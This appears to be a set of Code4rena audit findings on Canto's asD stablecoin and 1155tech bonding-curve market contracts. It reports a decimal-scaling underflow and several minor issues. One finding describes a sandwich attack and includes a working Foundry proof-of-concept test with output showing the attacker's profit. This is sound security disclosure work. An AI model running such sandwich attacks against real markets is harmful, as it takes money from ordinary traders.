Canto Application Specific Dollars and Bonding Curves for 1155s - osmanozdemir1's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/asD/src/asD.sol#L73 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/asD/src/asD.sol#L75-L77

Vulnerability details

Impact

• Calculating maximumWithdrawable will underflow and revert due to incorrect scaling.
• Contract owner won't be able to withdraw earned interests with the withdrawCarry() function.

Proof of Concept

Creators can create stablecoins pegged to $NOTE with this protocol and they can earn interest with their creations.

Here is how the minting/burning of these stablecoins and interest mechanism works:

• Users call asD::mint() and transfer their $NOTE tokens to mint asD stablecoin

• asD contract immediately deposits these $NOTE tokens to Canto Lending Market and mints cNOTE, which earns interest.

• Users get a corresponding amount of asD stablecoin

The cNOTE tokens in the lending market earn interest according to exchangeRate which is always increasing.

The opposite happens when burning.

• Users request their $NOTE tokens by calling asD::burn()

• The asD contract redeems that amount of $NOTE token from the Canto Lending Market and burns cNOTE tokens according to that moment's exchange rate.

• Because the exchange rate is increasing, the burned (redeemed) cNOTE amount is less than the minted amount, and the difference is the interest that the creator earns.

The asD contract creator can withdraw these earned interests by calling the asD::withdrawCarry() function:
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/asD/src/asD.sol#L72

file:asD.sol
    function withdrawCarry(uint256 _amount) external onlyOwner {
-->     uint256 exchangeRate = CTokenInterface(cNote).exchangeRateCurrent(); // Scaled by 1 * 10^(18 - 8 + Underlying Token Decimals), i.e. 10^(28) in our case    //@audit-issue According to cToken source code it is scaled by 1e18 - NOT 1e28
        // The amount of cNOTE the contract has to hold (based on the current exchange rate which is always increasing) such that it is always possible to receive 1 NOTE when burning 1 asD
        uint256 maximumWithdrawable = (CTokenInterface(cNote).balanceOf(address(this)) * exchangeRate) /
-->         1e28 -
            totalSupply();
        if (_amount == 0) {
            _amount = maximumWithdrawable;
        } else {
            require(_amount <= maximumWithdrawable, "Too many tokens requested");
        }
       
        // skipped for brevity
    }

This function basically checks the current exchange rate, calculates the $NOTE value of the current cNOTE balances with this exchange rate, and finds the maximumWithdrawable amount as interest.

In this function, the exchange rate is assumed to be scaled by 1e28 as you can see in this comment "Scaled by 1 * 10^(18 - 8 + Underlying Token Decimals), i.e. 10^(28) in our case", this division.

This comment is true based on the compound docs. However, this is not the case in the actual source code. In the code itself, the returned exchange rate is always scaled by 1e18.

file: CToken.sol //compound
    /**
     * @notice Accrue interest then return the up-to-date exchange rate
     * @return Calculated exchange rate scaled by 1e18
     */
    function exchangeRateCurrent() override public nonReentrant returns (uint) {
        accrueInterest();
        return exchangeRateStored();
    } 

Canto Lending Market is a compound fork and it returns the exchange rate scaled by 1e18 too. It can also be checked by reading the contract in the Canto blockchain explorers.
cNOTE contract address is: 0xEe602429Ef7eCe0a13e4FfE8dBC16e101049504C
It can be checked here (function no 40): https://tuber.build/token/0xEe602429Ef7eCe0a13e4FfE8dBC16e101049504C?tab=read_contract

You can see that the live cNOTE contract returns the exchange rate with 18 decimals in the screenshot below:
https://user-images.githubusercontent.com/97894167/283773543-a4d64810-474d-4ff4-8b9d-3b60682f18e6.png

The maximumWithdrawable amount calculation will always underflow due to the exchange rate being 18 decimals but the calculation is made with a hardcoded 1e28 value.

uint256 maximumWithdrawable = (CTokenInterface(cNote).balanceOf(address(this)) * exchangeRate) /
-->         1e28 -
            totalSupply(); //@audit will underflow due to 1e8 - 1e18

Tools Used

Manual review

Recommended Mitigation Steps

I would recommend using 1e18 when scaling the exchange rate instead of 1e28

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L132-L136 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L141-L145

Vulnerability details

Bug description

1155tech part of this protocol is an art protocol where the users can buy/sell shares, earn interest with those shares, or mint/burn NFTs using these shares.

There are two main things here: shares and NFTs.

Users must buy shares first.

• Shares earn interest.
  Users can earn some portion of the fee generated by volume of this collection just by holding shares. This is called holder's cut.

• Shares can be switched to NFTs by paying the NFT minting fee.
  The shares switched to NFTs do not earn interest.
  This action decreases the shares in circulation (not the total share count).

As mentioned in the protocol's Code4rena contest page, users may not have incentives to mint more than 1 NFT. However, this is not the case for the shares as they earn interest.
Users will want to have more shares to get more interest, especially if it's an art collection with a high secondary market volume.

Share prices are determined by a bonding curve. It is a linear bonding curve at the moment. The price of one share increases with the share count.

    function getPriceAndFee(uint256 shareCount, uint256 amount)
        external
        view
        override
        returns (uint256 price, uint256 fee)
    {
        for (uint256 i = shareCount; i < shareCount + amount; i++) {
            uint256 tokenPrice = priceIncrease * i;
            price += tokenPrice;
            fee += (getFee(i) * tokenPrice) / 1e18;
        }
    } 

Users buy the lowest-priced share first when buying and the price increases after every buy.
They sell the highest-priced share first when selling and the price decreases after every sale.
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L132C1-L136C6
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L141C1-L145C6

    function getBuyPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) {
        // If id does not exist, this will return address(0), causing a revert in the next line
        address bondingCurve = shareData[_id].bondingCurve;
        (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount + 1, _amount);
    }
//--------------
    function getSellPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) {
        // If id does not exist, this will return address(0), causing a revert in the next line
        address bondingCurve = shareData[_id].bondingCurve;
        (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount - _amount + 1, _amount);
    }

This price calculation makes the protocol vulnerable to sandwich attacks.

As I mentioned above, users are incentivized to buy multiple shares. If a user wants to buy 10 shares, an attacker can:

1. Buy 10 shares with a lower price, which will increase the price of the shares.

2. The user buys his/her 10 shares at a high price, and this increases the price higher.

3. The attacker sells those 10 shares immediately and gains profit.

Down below, you can find a coded PoC that demonstrates this scenario. Note: The same thing can happen for the opposite scenario too. Attacker can sell just before regular users sell their shares, and buy them back at the lower price

Impact

• Users will buy shares with higher price or sell shares with lower price
• Attacker will gain immediate profit even after paying the fee

Proof of Concept

Coded PoC

You can use the protocol's own setup to test this PoC.
- Copy and paste the snippet into the Market.t.sol test file.
- Change 1e18 to a greater value like 1e20 in this line
- Run it with forge test --match-test testSandwich -vvv

function testSandwich() public {
        // ----------------------------- PREPARE --------------------------------------
        // Create addresses and send some token to them
        address attacker = makeAddr("attacker");
        address victim = makeAddr("victim");
        token.transfer(attacker, 1 ether);
        token.transfer(victim, 1 ether);

        // Attacker and victim has 1 ether token balances each before the attack
        assertEq(token.balanceOf(attacker), 1 ether);
        assertEq(token.balanceOf(victim), 1 ether);

        // Approve
        vm.prank(attacker);
        token.approve(address(market), type(uint256).max);
        vm.prank(victim);
        token.approve(address(market), type(uint256).max);

        // Create a new share. Share id is 1.
        // Let's assume these shares already has some activity and other people bought some before (50 shares).
        testCreateNewShare();
        token.approve(address(market), type(uint256).max);
        market.buy(1, 50);
        
        // --------------------------- ATTACK --------------------------------------------      
        // Victim is going to buy 10 shares.
        // Attacker sandwiches the victim.
        
        // Attacker buys 10 shares
        vm.prank(attacker);
        market.buy(1, 10);

        // Victim buys 10 shares
        vm.prank(victim);
        market.buy(1, 10);

        // Attacker sells 10 shares
        vm.prank(attacker);
        market.sell(1, 10);

        // Attacker's balance is greater than before even after paying all the fees when buying and selling
        assertGt(token.balanceOf(attacker), 1 ether);
        console2.log("attacker balance: ", token.balanceOf(attacker)); // => 1078541721428571432 -------> 7% gain for with only 1 ether. 
    }

The test is performed with only 1 ether and a small number of shares just for demonstration, and the impact might be much higher depending on the current share count, price and how many shares will be minted.

The results are here:

Running 1 test for src/test/Market.t.sol:MarketTest
[PASS] testSandwich() (gas: 640266)
Logs:
  attacker balance:  1078541721428571432

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.32ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, foundry

Recommended Mitigation Steps

I acknowledge that the price increase is the nature of linear bonding curve. We can't prevent that. However, the sandwich attacks might be discouraged. For example there might be an enforced waiting period between buying and selling shares. Attackers can still front-run and buy shares at the lower price. However, they have to take the risk of the price going down during the waiting period which might discourage them.

Assessed type

Math

Summary

• [L-01] Market::createNewShare() function should update the shareBondingCurves mapping

• [L-02] Market::_splitFess() should split the shareholder fee to the protocol and creator when there are no tokens in circulation

• [L-03] Market::changeShareCreatorWhitelist should emit an event

---

[L-01] Market::createNewShare() function should update the shareBondingCurves mapping

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L46
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L122C1-L125C50

The Market contract has a shareData mapping from uint256 to ShareData struct (uint256 => ShareData), and it also has a separate mapping called shareBondingCurves

ShareData struct already includes the bondingCurve element in itself and this is updated when creating a new share. However, the shareBondingCurves mapping is not updated and this situation creates a mismatch between these two mappings.

    function createNewShare(
        string memory _shareName,
        address _bondingCurve,
        string memory _metadataURI
    ) external onlyShareCreator returns (uint256 id) {
        require(whitelistedBondingCurves[_bondingCurve], "Bonding curve not whitelisted");
        require(shareIDs[_shareName] == 0, "Share already exists");
        id = ++shareCount;
        shareIDs[_shareName] = id;
        shareData[id].bondingCurve = _bondingCurve;
        shareData[id].creator = msg.sender;
        shareData[id].metadataURI = _metadataURI;
        emit ShareCreated(id, _shareName, _bondingCurve, msg.sender);
    } //@audit this function doesn't update shareBondingCurves mapping. It should update it by doing this --> shareBondingCurves[id] = _bondingCurve;

This function should update the shareBondingCurves mapping or that mapping should not be created in the first place.

---

[N-01] Market::_splitFess() should split the shareholder fee to the protocol and creator when there are no tokens in circulation

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L289C9-L294C10

    function _splitFees(
        uint256 _id,
        uint256 _fee,
        uint256 _tokenCount
    ) internal {
        uint256 shareHolderFee = (_fee * HOLDER_CUT_BPS) / 10_000;
        uint256 shareCreatorFee = (_fee * CREATOR_CUT_BPS) / 10_000;
        uint256 platformFee = _fee - shareHolderFee - shareCreatorFee;
        shareData[_id].shareCreatorPool += shareCreatorFee;
        if (_tokenCount > 0) {
            shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount;
        } else {
            // If there are no tokens in circulation, the fee goes to the platform
            platformFee += shareHolderFee; //@audit QA - it should be split between the creator and the platform
        }
        platformPool += platformFee;
    }

Normally, the fees gained are split between the protocol, the creator and the shareholders.
But when there are no tokens in circulation, all of the shareholder fees are transferred to the protocol. However, this is unfair to the token creator.

The token creator is the reason why those fees are generated. If there are no shareholders, the shareholder fee should be split between the protocol and the token creator.

---

[N-02] Market::changeShareCreatorWhitelist

should emit an event

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L309C5-L312C6

    function changeShareCreatorWhitelist(address _address, bool _isWhitelisted) external onlyOwner {
        require(whitelistedShareCreators[_address] != _isWhitelisted, "State already set");
        whitelistedShareCreators[_address] = _isWhitelisted;
    }

changeShareCreatorWhitelist function does not emit an event at the moment. Important actions should emit events. Adding an event called CreatorWhitelistStatusChanged or something similar would be better for this function.